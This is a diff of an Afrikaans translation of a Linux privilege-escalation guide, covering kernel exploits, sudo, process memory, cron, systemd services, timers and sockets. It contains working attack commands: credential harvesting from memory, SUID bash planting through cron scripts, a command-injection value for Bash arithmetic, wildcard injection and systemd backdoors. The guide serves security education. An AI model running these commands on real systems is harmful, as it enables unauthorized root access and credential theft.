+Soek altyd **die kernel-weergawe op Google**, dalk is jou kernel-weergawe in 'n kernel exploit neergeskryf en sal jy seker wees dat hierdie exploit geldig is.
 
 ### CVE-2016-5195 (DirtyCow)
 
@@ -57,7 +57,7 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
 https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
 https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
 ```
-### Sudo weergawe
+### Sudo-weergawe
 
 Gebaseer op die kwesbare sudo-weergawes wat verskyn in:
 ```bash
@@ -73,9 +73,9 @@ Van @sickrov
 ```
 sudo -u#-1 /bin/bash
 ```
-### Dmesg handtekeningverifikasie het misluk
+### Dmesg signature verification failed
 
-Kontroleer **smasher2 box of HTB** vir 'n **voorbeeld** van hoe hierdie vuln uitgebuit kan word
+Kyk na **smasher2 box of HTB** vir 'n **voorbeeld** van hoe hierdie vuln uitgebuit kan word
 ```bash
 dmesg 2>/dev/null | grep "signature"
 ```
@@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null
 ```
 ## Docker Breakout
 
-As jy binne 'n docker container is, kan jy probeer daaruit ontsnap:
+As jy binne 'n docker container is, kan jy probeer om daaruit te ontsnap:
 
 
 {{#ref}}
@@ -132,7 +132,7 @@ docker-security/
 
 ## Skywe
 
-Kontroleer **what is mounted and unmounted**, waar en waarom. As iets unmounted is, kan jy probeer om dit te mount en na privaat inligting te soek.
+Kontroleer **wat gemonteer en nie-gemonteer is**, waar en waarom. As iets nie-gemonteer is, kan jy probeer om dit te monteer en te soek na privaat inligting.
 ```bash
 ls /dev 2>/dev/null | grep -i "sd"
 cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
@@ -141,60 +141,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
 ```
 ## Nuttige sagteware
 
-Som nuttige binaries op
+Lys nuttige binaries
 ```bash
 which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
 ```
-Kyk ook of **enige kompilator geïnstalleer is**. Dit is nuttig as jy 'n kernel exploit moet gebruik, aangesien dit aanbeveel word om dit op die masjien te kompileer waar jy dit gaan gebruik (of op een soortgelyke).
+Kontroleer ook of **any compiler is installed**. Dit is nuttig as jy 'n kernel exploit moet gebruik, aangesien dit aanbeveel word om dit op die masjien te compileer waar jy dit gaan gebruik (of op 'n soortgelyke masjien).
 ```bash
 (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
 ```
 ### Geïnstalleerde kwesbare sagteware
 
-Kyk na die **weergawe van die geïnstalleerde pakkette en dienste**. Daar kan dalk 'n ou Nagios-weergawe wees (byvoorbeeld) wat uitgebuit kan word om escalating privileges…\
-Dit word aanbeveel om die weergawes van die meer verdagte geïnstalleerde sagteware handmatig na te gaan.
+Kyk na die **weergawe van die geïnstalleerde pakkette en dienste**. Miskien is daar 'n ou Nagios-weergawe (byvoorbeeld) wat uitgebuit kan word vir privilege escalation…\
+Dit word aanbeveel om handmatig die weergawes van die meer verdagte geïnstalleerde sagteware te kontroleer.
 ```bash
 dpkg -l #Debian
 rpm -qa #Centos
 ```
-As jy SSH-toegang tot die masjien het, kan jy ook **openVAS** gebruik om te kontroleer of daar verouderde of kwesbare sagteware op die masjien geïnstalleer is.
+As jy SSH-toegang tot die masjien het, kan jy ook **openVAS** gebruik om na verouderde en kwesbare sagteware wat op die masjien geïnstalleer is te kyk.
 
-> [!NOTE] > _Let daarop dat hierdie kommando's baie inligting sal vertoon wat meestal nutteloos sal wees; daarom word dit aanbeveel om toepassings soos OpenVAS of soortgelyke te gebruik wat sal nagaan of enige geïnstalleerde sagtewareweergawe kwesbaar is vir bekende exploits_
+> [!NOTE] > _Neem asseblief kennis dat hierdie kommando's baie inligting sal wys wat meestal onbruikbaar sal wees; daarom word toepassings soos OpenVAS of soortgelyke aanbeveel wat sal nagaan of enige geïnstalleerde sagtewareweergawe kwesbaar is vir bekende exploits_
 
 ## Prosesse
 
-Kyk na **watter prosesse** uitgevoer word en kontroleer of enige proses **meer voorregte as wat dit behoort te hê** het (miskien 'n tomcat wat deur root uitgevoer word?)
+Kyk na **watter prosesse** uitgevoer word en kontroleer of enige proses **meer voorregte as wat dit behoort te hê** (miskien 'n tomcat wat deur root uitgevoer word?)
 ```bash
 ps aux
 ps -ef
 top -n 1
 ```
-Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecteer dit deur die `--inspect` parameter in die command line van die proses na te gaan.\
-Kyk ook na jou regte oor die proses-binaries, dalk kan jy iemand se binary oorskryf.
+Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** identifiseer dit deur die `--inspect` parameter in die command line van die proses na te gaan.\
+Kontroleer ook jou privileges oor die processes binaries, dalk kan jy iemand oorskryf.
 
-### Process monitoring
+### Prosesmonitering
 
-Jy kan gereedskap soos [**pspy**](https://github.com/DominicBreuker/pspy) gebruik om prosesse te moniteer. Dit kan baie nuttig wees om kwesbare prosesse te identifiseer wat dikwels uitgevoer word of wanneer 'n stel vereistes vervul is.
+Jy kan gereedskap soos [**pspy**](https://github.com/DominicBreuker/pspy) gebruik om prosesse te monitor. Dit kan baie nuttig wees om kwesbare prosesse te identifiseer wat gereeld uitgevoer word of wanneer 'n stel vereistes bereik word.
 
-### Process memory
+### Prosesgeheue
 
-Sommige dienste op 'n bediener stoor **credentials in clear text inside the memory**.\
-Gewoonlik benodig jy **root privileges** om die geheue van prosesse wat aan ander gebruikers behoort te lees, daarom is dit gewoonlik meer nuttig wanneer jy reeds root is en meer credentials wil ontdek.\
-Onthou egter dat **as 'n gewone gebruiker jy die geheue van die prosesse wat aan jou behoort kan lees**.
+Sommige dienste op 'n server stoor **credentials in clear text inside the memory**.\
+Normaalweg sal jy **root privileges** nodig hê om die geheue van prosesse wat aan ander gebruikers behoort te lees, daarom is dit gewoonlik meer nuttig wanneer jy reeds root is en meer credentials wil ontdek.\
+Onthou egter dat **as 'n gewone gebruiker jy die geheue van die prosesse wat jy besit kan lees**.
 
 > [!WARNING]
-> Let wel dat deesdae meeste masjiene **nie ptrace by verstek toelaat nie**, wat beteken dat jy nie ander prosesse wat aan jou ongeprivilegieerde gebruiker behoort kan dump nie.
+> Neem asseblief kennis dat deesdae die meeste masjiene **nie ptrace by verstek toelaat nie**, wat beteken dat jy nie ander prosesse wat aan jou ongepriviligeerde gebruiker behoort kan dump nie.
 >
 > Die lêer _**/proc/sys/kernel/yama/ptrace_scope**_ beheer die toeganklikheid van ptrace:
 >
-> - **kernel.yama.ptrace_scope = 0**: alle prosesse kan gedebug word, solank hulle dieselfde uid het. Dit is die klassieke wyse waarop ptracing gewerk het.
-> - **kernel.yama.ptrace_scope = 1**: slegs 'n ouer-proses kan gedebug word.
-> - **kernel.yama.ptrace_scope = 2**: Slegs admin kan ptrace gebruik, aangesien dit die CAP_SYS_PTRACE capability vereis.
-> - **kernel.yama.ptrace_scope = 3**: Geen prosesse mag met ptrace getrace word nie. Sodra dit gestel is, is 'n herbegin benodig om ptracing weer te aktiveer.
+> - **kernel.yama.ptrace_scope = 0**: alle prosesse kan gedebugeer word, solank hulle dieselfde uid het. Dit is die klassieke wyse waarop ptracing gewerk het.
+> - **kernel.yama.ptrace_scope = 1**: slegs 'n ouerproses kan gedebugeer word.
+> - **kernel.yama.ptrace_scope = 2**: Slegs admin kan ptrace gebruik, aangesien dit die CAP_SYS_PTRACE vermoë vereis.
+> - **kernel.yama.ptrace_scope = 3**: Geen prosesse mag met ptrace getrace word nie. Sodra dit gestel is, is 'n herbegin nodig om ptracing weer te aktiveer.
 
 #### GDB
 
-As jy toegang tot die geheue van 'n FTP-diens het (byvoorbeeld) kan jy die Heap kry en daarin na die credentials soek.
+Indien jy toegang het tot die geheue van 'n FTP-diens (byvoorbeeld) kan jy die Heap kry en daarin na sy credentials soek.
 ```bash
 gdb -p <FTP_PROCESS_PID>
 (gdb) info proc mappings
@@ -216,7 +216,7 @@ done
 ```
 #### /proc/$pid/maps & /proc/$pid/mem
 
-Vir 'n gegewe proses-ID, **maps wys hoe geheue binne daardie proses se** virtuele adresruimte toegeken is; dit wys ook die **toestemmings van elke gemapte gebied**. Die **mem** pseudo-lêer **blootstel die proses se geheue self**. Uit die **maps**-lêer weet ons watter **geheuegebiede leesbaar is** en hul offsets. Ons gebruik hierdie inligting om in die **mem**-lêer te seek en alle leesbare gebiede na 'n lêer te dump.
+Vir 'n gegewe proses-ID wys **maps hoe geheue binne daardie proses se** virtuele adresruimte; dit wys ook die **toestemmings van elke gemapte gebied**. Die **mem** pseudo-lêer **blootstel die proses se geheue self**. Uit die **maps** lêer weet ons watter **geheuegebiede leesbaar is** en hul offsets. Ons gebruik hierdie inligting om **in die mem file te seek en alle leesbare gebiede te dump** na 'n lêer.
 ```bash
 procdump()
 (
@@ -232,13 +232,13 @@ rm $1*.bin
 #### /dev/mem
 
 `/dev/mem` bied toegang tot die stelsel se **fisiese** geheue, nie die virtuele geheue nie. Die kernel se virtuele adresruimte kan met /dev/kmem benader word.\
-Gewoonlik is `/dev/mem` slegs leesbaar deur **root** en **kmem** groep.
+Gewoonlik is `/dev/mem` slegs deur **root** en die **kmem**-groep geleesbaar.
 ```
 strings /dev/mem -n10 | grep -i PASS
 ```
-### ProcDump vir Linux
+### ProcDump for linux
 
-ProcDump is 'n Linux-herbeelding van die klassieke ProcDump tool uit die Sysinternals-suite van tools vir Windows. Kry dit by [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
+ProcDump is 'n Linux-herontwerp van die klassieke ProcDump-instrument uit die Sysinternals-suite van instrumente vir Windows. Kry dit by [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
 ```
 procdump -p 1714
 
@@ -267,40 +267,40 @@ Press Ctrl-C to end monitoring without terminating the process.
 ```
 ### Gereedskap
 
-Om die geheue van 'n proses te dump kan jy gebruik:
+Om die geheue van 'n proses te dump, kan jy die volgende gebruik:
 
 - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
-- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Jy kan manueel root-vereistes verwyder en die proses wat aan jou behoort dump
-- Script A.5 van [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root word vereis)
+- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Jy kan handmatig die root-vereistes verwyder en die proses wat aan jou behoort dump
+- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root word vereis)
 
-### Kredensiële uit prosesgeheue
+### Inlogbesonderhede uit prosesgeheue
 
 #### Handmatige voorbeeld
 
-As jy vind dat die authenticator-proses aan die gang is:
+As jy sien dat die authenticator-proses aan die gang is:
 ```bash
 ps -ef | grep "authenticator"
 root      2027  2025  0 11:46 ?        00:00:00 authenticator
 ```
-Jy kan die process dump (sien die vorige afdelings om verskillende maniere te vind om die memory van 'n process te dump) en in die memory na credentials soek:
+Jy kan die process dump (sien vorige afdelings om verskillende maniere te vind om die memory van 'n process te dump) en soek vir credentials binne die memory:
 ```bash
 ./dump-memory.sh 2027
 strings *.dump | grep -i password
 ```
 #### mimipenguin
 
-Die instrument [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sal **clear-text credentials uit geheue steel** en uit sommige **welbekende lêers**. Dit vereis root-privileges om behoorlik te werk.
+Die tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sal **steel duidelike teks inlogbewyse uit die geheue** en uit sommige **welbekende lêers**. Dit vereis root-voorregte om behoorlik te werk.
 
 | Kenmerk                                           | Prosesnaam           |
 | ------------------------------------------------- | -------------------- |
 | GDM wagwoord (Kali Desktop, Debian Desktop)       | gdm-password         |
 | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
 | LightDM (Ubuntu Desktop)                          | lightdm              |
-| VSFTPd (Aktiewe FTP-verbindinge)                  | vsftpd               |
-| Apache2 (Aktiewe HTTP Basic Auth-sessies)         | apache2              |
-| OpenSSH (Aktiewe SSH-sessies - Sudo-gebruik)      | sshd:                |
+| VSFTPd (Active FTP Connections)                   | vsftpd               |
+| Apache2 (Active HTTP Basic Auth Sessions)         | apache2              |
+| OpenSSH (Active SSH Sessions - Sudo Usage)        | sshd:                |
 
-#### Soek-regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
+#### Soek Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
 ```bash
 # un truffleproc.sh against your current Bash shell (e.g. $$)
 ./truffleproc.sh $$
@@ -314,36 +314,36 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
 # finding secrets
 # results in /tmp/tmp.o6HV0Pl3fe/results.txt
 ```
-## Scheduled/Cron jobs
+## Geskeduleerde/Cron jobs
 
-Kontroleer of enige geskeduleerde taak kwesbaar is. Miskien kan jy voordeel trek uit 'n script wat deur root uitgevoer word (wildcard vuln? kan jy lêers wat root gebruik wysig? gebruik symlinks? skep spesifieke lêers in die gids wat root gebruik?).
+Kontroleer of enige geskeduleerde job kwesbaar is. Miskien kan jy voordeel trek uit 'n script wat deur root uitgevoer word (wildcard vuln? kan jy lêers wat root gebruik wysig? gebruik symlinks? skep spesifieke lêers in die gids wat root gebruik?).
 ```bash
 crontab -l
 ls -al /etc/cron* /etc/at*
 cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
 ```
-### Cron-pad
+### Cron pad
 
 Byvoorbeeld, binne _/etc/crontab_ kan jy die PATH vind: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
 
 (_Let op hoe die gebruiker "user" skryfregte oor /home/user het_)
 
-As binne hierdie crontab die root-gebruiker probeer om 'n opdrag of script uit te voer sonder om die PATH te stel. Byvoorbeeld: _\* \* \* \* root overwrite.sh_\
-Dan kan jy 'n root shell kry deur die volgende te gebruik:
+As in hierdie crontab die root-gebruiker probeer om 'n opdrag of script uit te voer sonder om die PATH te stel. Byvoorbeeld: _\* \* \* \* root overwrite.sh_\  
+Dan kan jy 'n root-shell kry deur die volgende te gebruik:
 ```bash
 echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
 #Wait cron job to be executed
 /tmp/bash -p #The effective uid and gid to be set to the real uid and gid
 ```
-### Cron wat 'n script met 'n wildcard gebruik (Wildcard Injection)
+### Cron wat 'n skrip met 'n wildcard gebruik (Wildcard Injection)
 
-Indien 'n script deur root uitgevoer word en 'n “**\***” binne 'n opdrag voorkom, kan jy dit misbruik om onverwagte dinge te veroorsaak (soos privesc). Voorbeeld:
+As 'n skrip wat deur root uitgevoer word 'n “**\***” in 'n opdrag bevat, kan jy dit uitbuit om onverwagte dinge te doen (soos privesc). Voorbeeld:
 ```bash
 rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
 ```
-**As die wildcard deur 'n pad soos** _**/some/path/\***_ **voorgaan, is dit nie kwesbaar nie (selfs** _**./\***_ **is nie).**
+**As die wildcard voorafgegaan word deur 'n pad soos** _**/some/path/\***_ **, is dit nie kwesbaar nie (selfs** _**./\***_ **nie).**
 
-Lees die volgende bladsy vir meer wildcard exploitation tricks:
+Lees die volgende bladsy vir meer wildcard-uitbuitingstegnieke:
 
 
 {{#ref}}
@@ -353,9 +353,9 @@ wildcards-spare-tricks.md
 
 ### Bash arithmetic expansion injection in cron log parsers
 
-Bash voer parameter expansion en command substitution uit voordat arithmetic evaluation plaasvind in ((...)), $((...)) en let. As 'n root cron/parser onbeheerde log fields lees en dit in 'n arithmetic context invoer, kan 'n attacker 'n command substitution $(...) inject wat as root uitgevoer word wanneer die cron loop.
+Bash voer parameter expansion en command substitution uit voordat arithmetic evaluation in ((...)), $((...)) en let plaasvind. As 'n root cron/parser onbetroubare log fields lees en dit in 'n arithmetic context voer, kan 'n aanvaller 'n command substitution $(...) injekteer wat as root uitgevoer word wanneer die cron loop.
 
-- Waarom dit werk: In Bash gebeur expansions in hierdie volgorde: parameter/variable expansion, command substitution, arithmetic expansion, dan word splitting en pathname expansion. Dus word 'n waarde soos `$(/bin/bash -c 'id > /tmp/pwn')0` eers substituted (die command word uitgevoer), dan word die oorblywende numeriese `0` gebruik vir die arithmetic sodat die script voortgaan sonder foute.
+- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors.
 
 - Tipiese kwesbare patroon:
 ```bash
@@ -367,7 +367,7 @@ while IFS=',' read -r ts user count rest; do
 done < /var/www/app/log/application.log
 ```
 
-- Uitbuiting: Kry attacker-controlled teks in die geparseerde log geskryf sodat die numeries-lykende veld 'n command substitution bevat en op 'n syfer eindig. Verseker jou command skryf nie na stdout nie (of herlei dit) sodat die arithmetic geldig bly.
+- Uitbuiting: Laat attacker-controlled teks geskryf word in die geparsde log sodat die numeriese-uitziende veld 'n command substitution bevat en eindig met 'n syfer. Verseker jou command druk nie na stdout nie (of herlei dit) sodat die arithmetic geldig bly.
 ```bash
 # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
 $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
@@ -376,29 +376,29 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
 
 ### Cron script overwriting and symlink
 
-As jy **'n cron script kan wysig** wat deur root uitgevoer word, kan jy baie maklik 'n shell kry:
+As jy **can modify a cron script** wat deur root uitgevoer word, kan jy baie maklik 'n shell kry:
 ```bash
 echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
 #Wait until it is executed
 /tmp/bash -p
 ```
-As die script wat deur root uitgevoer word 'n **directory waarop jy volle toegang het** gebruik, kan dit nuttig wees om daardie folder te verwyder en **'n symlink folder na 'n ander een te skep** wat 'n script bevat wat deur jou beheer word.
+As die script wat deur root uitgevoer word 'n **directory waar jy volle toegang het** gebruik, kan dit nuttig wees om daardie folder te verwyder en **'n symlink folder na 'n ander een te skep** wat 'n script uitvoer wat deur jou beheer word.
 ```bash
 ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
 ```
 ### Gereelde cron jobs
 
-Jy kan die prosesse monitor om te soek na prosesse wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy daaruit voordeel trek en escalate privileges.
+Jy kan die prosesse monitor om te soek na prosesse wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy dit benut en escalate privileges.
 
-Byvoorbeeld, om **elke 0.1s vir 1 minuut te monitor**, **op die minst-uitgevoerde kommando's te sorteer** en die kommando's wat die meeste uitgevoer is te verwyder, kan jy dit doen:
+Byvoorbeeld, om **elke 0.1s vir 1 minuut te moniteer**, **op minder uitgevoerde commands te sorteer** en die commands wat die meeste uitgevoer is te verwyder, kan jy dit doen:
 ```bash
 for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
 ```
 **Jy kan ook gebruik** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (dit sal elke proses wat begin, monitor en lys).
 
-### Onsigbare cronjobs
+### Onsigbare cron jobs
 
-Dit is moontlik om 'n cronjob **deur 'n carriage return na 'n kommentaar te plaas** (sonder newline-karakter), en die cronjob sal werk. Voorbeeld (let op die carriage return-karakter):
+Dit is moontlik om 'n cronjob te skep deur 'n carriage return na 'n comment te plaas (sonder newline character), en die cronjob sal werk. Voorbeeld (let op die carriage return char):
 ```bash
 #This is a comment inside a cron config file\r* * * * * echo "Surprise!"
 ```
@@ -406,12 +406,12 @@ Dit is moontlik om 'n cronjob **deur 'n carriage return na 'n kommentaar te plaa
 
 ### Skryfbare _.service_ lêers
 
-Kontroleer of jy enige `.service` file kan skryf; as jy dit kan, **kan jy dit wysig** sodat dit jou **backdoor uitvoer wanneer** die diens **begin**, **herbegin** of **gestop** word (jy mag dalk moet wag totdat die masjien herbegin).\
-Byvoorbeeld, skep jou backdoor binne die .service-lêer met **`ExecStart=/tmp/script.sh`**
+Kyk of jy enige `.service` lêer kan skryf, as jy dit kan, kan jy dit **wysig** sodat dit jou **backdoor** **uitvoer wanneer** die diens **gestart**, **herbegin** of **gestop** word (jy mag dalk moet wag totdat die masjien herbegin word).\
+Byvoorbeeld, skep jou backdoor binne die `.service` lêer met **`ExecStart=/tmp/script.sh`**
 
-### Skryfbare service-binêre
+### Skryfbare diens-binaries
 
-Hou in gedagte dat as jy **skryfpermissies oor binaries wat deur services uitgevoer word** het, kan jy hulle verander om backdoors in te sit sodat wanneer die services weer uitgevoer word, die backdoors uitgevoer sal word.
+Hou in gedagte dat as jy **skryftoestemmings oor binaries wat deur dienste uitgevoer word** het, jy dit kan verander om backdoors in te sit, sodat wanneer die dienste weer uitgevoer word die backdoors uitgevoer sal word.
 
 ### systemd PATH - Relatiewe paaie
 
@@ -419,19 +419,19 @@ Jy kan die PATH wat deur **systemd** gebruik word sien met:
 ```bash
 systemctl show-environment
 ```
-Indien jy agterkom dat jy in enige van die vouers van die pad kan **write**, mag jy dalk in staat wees om **escalate privileges**. Jy moet soek na **relative paths being used on service configurations** lêers soos:
+As jy vind dat jy in enige van die vouers op die pad kan **write**, kan jy moontlik **escalate privileges**. Jy moet soek na **relative paths being used on service configurations** lêers soos:
 ```bash
 ExecStart=faraday-server
 ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
 ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
 ```
-Skep dan ’n **executable** met die **same name as the relative path binary** inside die systemd PATH folder you can write, en wanneer die diens gevra word om die kwesbare aksie (**Start**, **Stop**, **Reload**) uit te voer, sal jou **backdoor** uitgevoer word (unprivileged users usually cannot start/stop services but check if you can use `sudo -l`).
+Skep dan 'n **uitvoerbare** lêer met dieselfde naam as die **relatiewe pad-binarie** binne die systemd PATH-gids wat jy kan skryf, en wanneer die diens gevra word om die kwesbare aksie (**Start**, **Stop**, **Reload**) uit te voer, sal jou **backdoor** uitgevoer word (nie-geprivilegieerde gebruikers kan gewoonlik nie dienste begin/stop nie — maar kyk of jy `sudo -l` kan gebruik).
 
-**Lees meer oor services met `man systemd.service`.**
+**Leer meer oor dienste met `man systemd.service`.**
 
 ## **Timers**
 
-**Timers** is systemd unit files whose name ends in `**.timer**` that control `**.service**` files or events. **Timers** kan as 'n alternatief vir cron gebruik word aangesien hulle ingeboude ondersteuning het vir calendar time events en monotonic time events en asynchroon uitgevoer kan word.
+**Timers** is systemd-eenheidslêers waarvan die naam eindig op `**.timer**` wat `**.service**` lêers of gebeurtenisse beheer. **Timers** kan as 'n alternatief vir cron gebruik word, aangesien hulle ingeboude ondersteuning vir kalender-tydgebeurtenisse en monotoniese tydgebeurtenisse het en asynchroon uitgevoer kan word.
 
 Jy kan al die timers opnoem met:
 ```bash
@@ -439,52 +439,52 @@ systemctl list-timers --all
 ```
 ### Skryfbare timers
 
-As jy 'n timer kan wysig, kan jy dit laat uitvoer om sommige bestaande systemd.unit-eenhede (soos 'n `.service` of 'n `.target`) te begin.
+As jy 'n timer kan wysig, kan jy dit gebruik om sekere instansies van systemd.unit uit te voer (soos 'n `.service` of 'n `.target`)
 ```bash
 Unit=backdoor.service
 ```
 In die dokumentasie kan jy lees wat die Unit is:
 
-> Die unit wat geaktiveer moet word wanneer hierdie `.timer` verstryk. Die argument is 'n unit-naam, waarvan die agtervoegsel nie ".timer" is nie. Indien nie gespesifiseer nie, val hierdie waarde terug op 'n `service` wat dieselfde naam as die timer-unit het, uitgesonderd die agtervoegsel. (Sien hierbo.) Dit word aanbeveel dat die unit-naam wat geaktiveer word en die unit-naam van die timer-unit identies benoem word, behalwe vir die agtervoegsel.
+> Die unit wat geaktiveer word wanneer hierdie timer verstryk. Die argument is 'n unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix.
 
-Daarom, om hierdie permissie te misbruik, sal jy die volgende moet doen:
+Daarom, om hierdie toestemming te misbruik, sal jy die volgende moet doen:
 
-- Vind 'n systemd unit (soos 'n `.service`) wat 'n **skryfbare binary uitvoer**
-- Vind 'n systemd unit wat 'n **relatiewe pad uitvoer** en waaroor jy **skryfregte** het oor die **systemd PATH** (om daardie executable te imiteer)
+- Vind 'n systemd unit (soos 'n `.service`) wat 'n **writable binary** uitvoer
+- Vind 'n systemd unit wat 'n **executing a relative path** gebruik en jy het **writable privileges** oor die **systemd PATH** (om daardie executable te impersonate)
 
 **Leer meer oor timers met `man systemd.timer`.**
 
-### **Aktiveer Timer**
+### **Timer inskakelen**
 
 Om 'n timer te aktiveer benodig jy root privileges en om die volgende uit te voer:
 ```bash
 sudo systemctl enable backu2.timer
 Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
 ```
-Let wel: die **timer** is **geaktiveer** deur 'n symlink na dit te skep op `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`
+Let daarop dat die **timer** **geaktiveer** word deur 'n symlink na dit te skep op `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`
 
 ## Sockets
 
-Unix Domain Sockets (UDS) stel **proseskommunikasie** in staat op dieselfde of verskillende masjiene binne client-server-modelle. Hulle gebruik standaard Unix-deskriptorlêers vir inter-rekenaarkommunikasie en word opgestel deur `.socket`-lêers.
+Unix Domain Sockets (UDS) stel **proseskommunikasie** in staat op dieselfde of verskillende masjiene binne klient-bediener modelle. Hulle gebruik standaard Unix-deskriptorlêers vir inter-rekenaarkommunikasie en word opgestel deur middel van `.socket` lêers.
 
-Sockets kan gekonfigureer word met behulp van `.socket`-lêers.
+Sockets kan gekonfigureer word met `.socket` lêers.
 
 **Leer meer oor sockets met `man systemd.socket`.** In hierdie lêer kan verskeie interessante parameters gekonfigureer word:
 
-- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Hierdie opsies verskil, maar 'n opsomming word gebruik om aan te **gee waar daar na die socket geluister gaan word** (die pad van die AF_UNIX socket-lêer, die IPv4/6 en/of poortnommer om na te luister, ens.)
-- `Accept`: Neem 'n boolean-argument. As dit **true** is, word 'n **service instance geskep vir elke inkomende verbinding** en slegs die verbindings-socket word daaraan deurgegee. As dit **false** is, word al die luister-sockets self **aan die gestarte service unit deurgegee**, en slegs een service unit word geskep vir al die verbindings. Hierdie waarde word geïgnoreer vir datagram-sockets en FIFO's waar 'n enkele service unit onvoorwaardelik al die inkomende verkeer hanteer. **Standaard is false**. Vir prestasie-redes word aanbeveel om nuwe daemons slegs so te skryf dat hulle geskik is vir `Accept=no`.
-- `ExecStartPre`, `ExecStartPost`: Neem een of meer opdragreëls, wat onderskeidelik **uitgevoer word voor** of **na** die luisterende **sockets**/FIFO's geskep en gebind word. Die eerste token van die opdragreël moet 'n absolute lêernaam wees, gevolg deur argumente vir die proses.
-- `ExecStopPre`, `ExecStopPost`: Bykomende **opdragte** wat onderskeidelik **uitgevoer word voor** of **na** die luisterende **sockets**/FIFO's gesluit en verwyder word.
-- `Service`: Spesifiseer die **service** unit naam **om te aktiveer** by **inkomende verkeer**. Hierdie instelling is slegs toegelaat vir sockets met Accept=no. Dit staan standaard op die service wat dieselfde naam as die socket dra (met die suffix vervang). In meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie.
+- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Hierdie opsies verskil, maar in samevatting word dit gebruik om **aan te dui waarop dit gaan luister** na die socket (die pad van die AF_UNIX socket-lêer, die IPv4/6 en/of poortnommer om na te luister, ens.)
+- `Accept`: Neem 'n boolean-argument. As dit **true** is, word 'n **service-instantie geskep vir elke inkomende verbinding** en slegs die verbindings-socket word daaraan deurgegee. As dit **false** is, word alle luister-sockets self **aan die gestarte service-unit deurgegee**, en slegs een service-unit word geskep vir alle verbindings. Hierdie waarde word geïgnoreer vir datagram-sockets en FIFOs waar 'n enkele service-unit onvoorwaardelik al die inkomende verkeer hanteer. **Standaard is false**. Vir prestasie-redes word dit aanbeveel om nuwe daemons slegs op 'n wyse te skryf wat geskik is vir `Accept=no`.
